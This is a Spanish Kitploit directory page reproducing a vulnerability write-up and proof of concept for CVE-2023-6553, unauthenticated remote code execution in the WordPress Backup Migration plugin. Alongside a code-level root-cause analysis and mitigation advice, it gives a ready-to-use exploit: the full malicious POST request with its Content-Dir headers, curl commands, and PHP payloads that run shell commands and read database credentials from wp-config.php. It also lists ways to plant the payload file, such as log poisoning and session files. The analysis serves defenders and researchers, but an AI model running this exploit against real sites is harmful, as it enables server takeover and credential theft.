Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/dungsocool/cve-2023-6553
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

Exploit de prueba de concepto e informe técnico para CVE-2023-6553, una vulnerabilidad de inclusión de archivos PHP no autenticada que permite la ejecución remota de código en el plugin Backup Migration de WordPress <=1.3.7.

Ver Repositorio
hace 16 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-6553

Inclusión de archivos en PHP que conduce a RCE — Plugin Backup Migration

Plugin: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (Crítico)

CWE: CWE-98 — Control inadecuado del nombre de archivo para la declaración Include/Require

Requisito de autenticación: Ninguno

Impacto: Ejecución remota de código


1. ¿Qué es esta vulnerabilidad?

Backup Migration es un plugin de WordPress bastante popular (~90.000+ instalaciones activas) que ayuda a los usuarios a crear copias de seguridad. Durante el proceso de copia de seguridad, el plugin tiene un archivo llamado backup-heart.php ejecutándose en segundo plano: recibe información de configuración mediante cabeceras HTTP para saber qué directorio debe respaldarse, dónde se encuentra el archivo de configuración, etc.

El problema radica en que este archivo confía plenamente en las cabeceras HTTP enviadas por el cliente, toma el valor de la cabecera directamente hacia la ruta del archivo y luego usa require_once() para cargar el archivo desde esa ruta. Un atacante solo necesita enviar la cabecera Content-Dir apuntando a un directorio que contenga código PHP malicioso → el servidor automáticamente lo incluye y ejecuta.

Cabe destacar que el archivo backup-heart.php no requiere autenticación — solo comprueba si el método de solicitud es POST, sin verificar ningún nonce ni privilegios de usuario. Cualquier persona en internet puede enviarle una solicitud.

⇒ Esta es una vulnerabilidad zero-click.

2. Conocimientos previos

Inclusión de archivos en PHP

PHP tiene funciones como include(), require(), require_once() que se usan para incluir otros archivos PHP en el programa en ejecución. Cuando la ruta de archivo pasada a estas funciones proviene de la entrada del usuario sin validación, un atacante puede forzar al servidor a incluir cualquier archivo que desee:

  • LFI (Inclusión Local de Archivos): carga un archivo existente en el servidor — por ejemplo, un archivo de registro que ha sido "envenenado" con código PHP.
  • RFI (Inclusión Remota de Archivos): carga un archivo desde un servidor externo — requiere allow_url_include=On (normalmente deshabilitado por defecto).

Este CVE se clasifica como LFI — el atacante controla la ruta pasada a require_once() apuntando a un archivo PHP que el atacante ha logrado escribir en el servidor.

¿Por qué son peligrosas las cabeceras HTTP?

Muchos desarrolladores piensan que las cabeceras HTTP son metadatos "internos" conocidos solo por el servidor y el cliente. En realidad, los atacantes controlan el 100% del contenido de las cabeceras — pueden establecer cualquier nombre y valor de cabecera. Confiar en las cabeceras es igual que confiar en la entrada de un formulario: debe validarse.

define() y las constantes de PHP

define('NAME', $value) crea una constante utilizada en toda la aplicación. Una vez defineda, el valor no se puede cambiar. Si $value proviene de un atacante, todos los lugares que usan esa constante se ven afectados.

3. Análisis del código fuente — ¿Dónde se origina la vulnerabilidad?

Paso 1: Encontrar el Sink

Empecé usando grep para buscar todas las declaraciones require e include en todo el plugin:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

Los resultados de la búsqueda devolvieron muchas llamadas require/include. Revisándolas, la mayoría eran llamadas include_once en banner/misc.php y banner/views/index.php — pertenecen al código de renderizado de la interfaz de administración con rutas codificadas, lo que las hace no explotables.

Sin embargo, 2 líneas en backup-heart.php llamaron mi atención:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

La línea 118 usa require_once con la constante BMI_INCLUDES — si esta constante estuviera codificada, sería segura. Pero mirando hacia arriba, en la línea 64, vi que BMI_INCLUDES se construye a partir de otra constante, BMI_ROOT_DIR. Así que necesitamos rastrear más allá: ¿dónde se le asigna su valor a BMI_ROOT_DIR?

Usé grep nuevamente para rastrearlo:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

Resultados:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

La línea 62 muestra que BMI_ROOT_DIR toma su valor de $fields['content-dir']. Esta es una variable, no un valor fijo — necesitamos abrir el archivo y ver qué contiene $fields.

Paso 2: Inspeccionar el código fuente — ¿De dónde viene $fields?

Abrí backup-heart.php en VS Code en la línea 62:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

Es claramente visible que $fields['content-dir'] va directamente a define(). Ahora necesitamos determinar dónde se asigna la variable $fields:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

En este punto, la causa raíz queda completamente clara: $fields contiene todas las cabeceras HTTP obtenidas mediante getallheaders() — completamente controladas por el cliente. No hay wp_verify_nonce(), ni current_user_can(), ni comprobación de ruta válida — simplemente verifica el método POST y lee las cabeceras directamente.

Paso 3: Resumen del flujo de ataque

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

Resumen de la causa raíz: Cabecera HTTP → define() → require_once(), con cero pasos de validación en el medio.

Paso 4: Depuración con Xdebug

Usé Xdebug + VS Code para confirmar visualmente el flujo del ataque. Establecí 2 puntos de interrupción en las líneas 62 y 118 de backup-heart.php y luego envié la solicitud de explotación usando curl.

Punto de interrupción 1 — Línea 62:

El depurador se detuvo justo en define('BMI_ROOT_DIR', $fields['content-dir']). Al expandir la variable $fields en el panel de Variables se mostró un array de 22 elementos — que contenía todas las cabeceras HTTP enviadas por el cliente. Específicamente:

  • content-dir = "/tmp/bmi/" — este es precisamente el valor enviado mediante la cabecera, que se asigna directamente a la constante BMI_ROOT_DIR.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — todos controlados por el atacante.

No hay pasos de validación ni filtrado aplicados a content-dir antes de pasarlo a define().

image.png

Punto de interrupción 2 — Línea 118:

Al presionar F5, el depurador se detuvo en require_once BMI_INCLUDES . '/bypasser.php'. Observando el estado:

  • Panel de Variables: $fields todavía conserva content-dir = "/tmp/bmi/" — lo que demuestra que el valor no fue alterado entre las líneas 62 y 118.
  • Panel de Pila de Llamadas: Muestra {main} backup-heart.php 118:1 — el código se ejecutó directamente desde la parte superior del archivo hasta este punto, omitiendo cualquier middleware o comprobación de autenticación.
  • La línea 118 se prepara para incluir el archivo en la ruta /tmp/bmi/includes/bypasser.php — un archivo cuyo contenido está controlado por el atacante.

image.png

Los resultados de la depuración confirman perfectamente el flujo analizado en el Paso 3: la cabecera HTTP viaja desde getallheaders() → define() → require_once(), sin validación en el medio.

4. Cadena de ataque

Paso 1 — Colocar el archivo PHP en el servidor

Antes de activar la inclusión, debe existir un archivo PHP en el servidor objetivo. Las técnicas comunes incluyen:

Paso 2 — Activar la inclusión mediante 1 solicitud POST

Envía una solicitud con Content-Dir apuntando al directorio que contiene el payload. El servidor automáticamente hace require y ejecuta el archivo del atacante.

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

Todas las cabeceras Content-* deben proporcionarse porque backup-heart.php las usa en otras llamadas a define() — las cabeceras faltantes provocan avisos de PHP y pueden abortar la ejecución antes de llegar a require_once.

5. PoC — Explotación en laboratorio

5.1 Verificar si el endpoint está abierto

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

Devuelve 200 — el endpoint está abierto y no solicita autenticación.

image.png

5.2 Crear el archivo payload

Crea la estructura de directorios que require_once espera encontrar: {Content-Dir}includes/bypasser.php:

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 Enviar el exploit — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

Resultado:

image.png

RCE exitoso — el servidor ejecuta el comando id y devuelve la salida.

5.4 Demostrando el impacto — Lectura de credenciales de la base de datos

Después de confirmar el RCE, cambié el payload para demostrar que un atacante puede leer información sensible en el servidor. Cambia el contenido del archivo payload para leer wp-config.php:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

Reenvía la misma solicitud de exploit con curl → la salida devuelve los detalles de conexión a la base de datos:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

El atacante puede leer cualquier archivo al que www-data tenga permisos de acceso — wp-config.php, /etc/passwd, código fuente de otros plugins — ampliando la superficie de ataque.

image.png

5.5 Recopilando información del sistema

Modifica aún más el payload para demostrar que el atacante puede recopilar información del sistema del servidor — lo que ayuda a la escalada de privilegios o al movimiento lateral:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

Envía el exploit con curl → salida:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

A partir de esta salida, el atacante descubre:

  • Versión del kernel — se utiliza para encontrar exploits del kernel para la escalada de privilegios a root
  • IP interna 172.18.0.3 — confirma que el servidor está dentro de una red Docker, lo que permite el pivoteo a otros contenedores (base de datos, caché, etc.)

6. Gravedad del impacto

Impacto en el mundo real

  • 90.000+ sitios usan este plugin.
  • El atacante sondea la presencia del plugin mediante 1 solicitud POST al endpoint — 200 significa presente, 404 significa ausente.
  • Un plugin desactivado sigue siendo explotable porque backup-heart.php reside en el disco y puede accederse directamente mediante URL.
  • Tras el RCE, el atacante puede: volcar la base de datos, instalar backdoors, pivotar a otros servidores dentro de la misma red.

7. Mitigación y remediación

Qué deberían hacer los desarrolladores

No utilices cabeceras HTTP para determinar rutas de archivos. Usa rutas relativas derivadas de __DIR__:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

Añade una comprobación de autorización — solo el administrador de WordPress debería poder invocar este endpoint:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

Qué deberían hacer los administradores de WordPress

  1. Actualiza a la versión ≥ 1.3.8 inmediatamente.
  2. Si no está en uso, elimina el plugin por completo — desactivarlo es insuficiente porque los archivos siguen siendo accesibles.
  3. Inspecciona los registros de acceso en busca de solicitudes sospechosas dirigidas a backup-heart.php.
  4. Implementa reglas WAF que bloqueen solicitudes POST directas a /wp-content/plugins/*/includes/*.php.
Descargar herramienta
AtributoValor
ID CVECVE-2023-6553
Puntuación CVSS9.8 (Crítico)
Pluginbackup-backup (Backup Migration) ≤ 1.3.7
AutenticaciónNo requerida
Interacción del usuarioNinguna (zero-click)
CorregidoVersión 1.3.8
MétodoConcepto
Envenenamiento de registros (log poisoning)Envía una solicitud que contiene <?php ... ?> dentro del User-Agent → el código se escribe en el registro de acceso → incluir el archivo de registro
Sesión de PHPEscribir código PHP en un archivo de sesión ubicado en /tmp/sess_xxx
Cadena de subidaAprovechar la función de subida de medios/avatares de WordPress para subir el archivo
Registro de errores del pluginEl plugin escribe su propio registro de errores — provocar un error que contenga código PHP escribe el código en el archivo de registro
Métrica CVSSValorRazón
Vector de ataqueRedVía HTTP
Complejidad de ataqueBaja1 solicitud POST, sin condiciones de sincronización ni especiales requeridas
Privilegios requeridosNingunoEl endpoint no requiere autenticación
Interacción del usuarioNingunaImpulsado por el atacante, la víctima no requiere interacción
ConfidencialidadAltaPuede leer cualquier archivo: wp-config.php, /etc/passwd, código fuente
IntegridadAltaEscritura arbitraria de archivos, instalación de webshells, modificación de la base de datos
DisponibilidadAltaEliminación de archivos, terminación de procesos, compromiso total del servidor